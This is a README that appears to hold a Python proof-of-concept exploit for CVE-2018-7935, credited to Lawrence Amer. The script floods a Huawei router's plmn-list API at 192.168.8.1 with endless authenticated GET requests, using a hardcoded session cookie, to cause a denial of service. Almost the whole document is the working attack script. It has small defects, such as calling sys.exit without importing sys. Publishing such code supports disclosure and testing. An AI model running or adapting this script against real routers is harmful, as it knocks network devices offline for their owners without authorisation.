README.md
Rendering markdown...
#!/bin/python
# CVE-2018-7935
#Author : Lawrence Amer
#vulnerability status : Huwaei pushed a fix
import requests
cookies = {
'SessionID':
'SPr2URnKv5ABtCQRjaQQRj0h1jO5LqKTi1IRqdg4I49GR4dv8TzTpSphltBS3IlNkWO1hGIybyCT6ArFvIpEskIQD3J3/mYNYmQJWITxFg58yEoh5R3XsDYDG0D95PYR',
}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0)
Gecko/20100101 Firefox/60.0',
'Referer': 'http://192.168.8.1/html/mobilenetworksettings.html',
'X-Requested-With': 'XMLHttpRequest',
}
i = 0
while True:
try:
print "Starting DOS "
response = requests.get('http://192.168.8.1/api/net/plmn-list',
headers=headers, cookies=cookies, verify=False)
i+=1
except requests.exceptions.RequestException as e :
print e
sys.exit(1)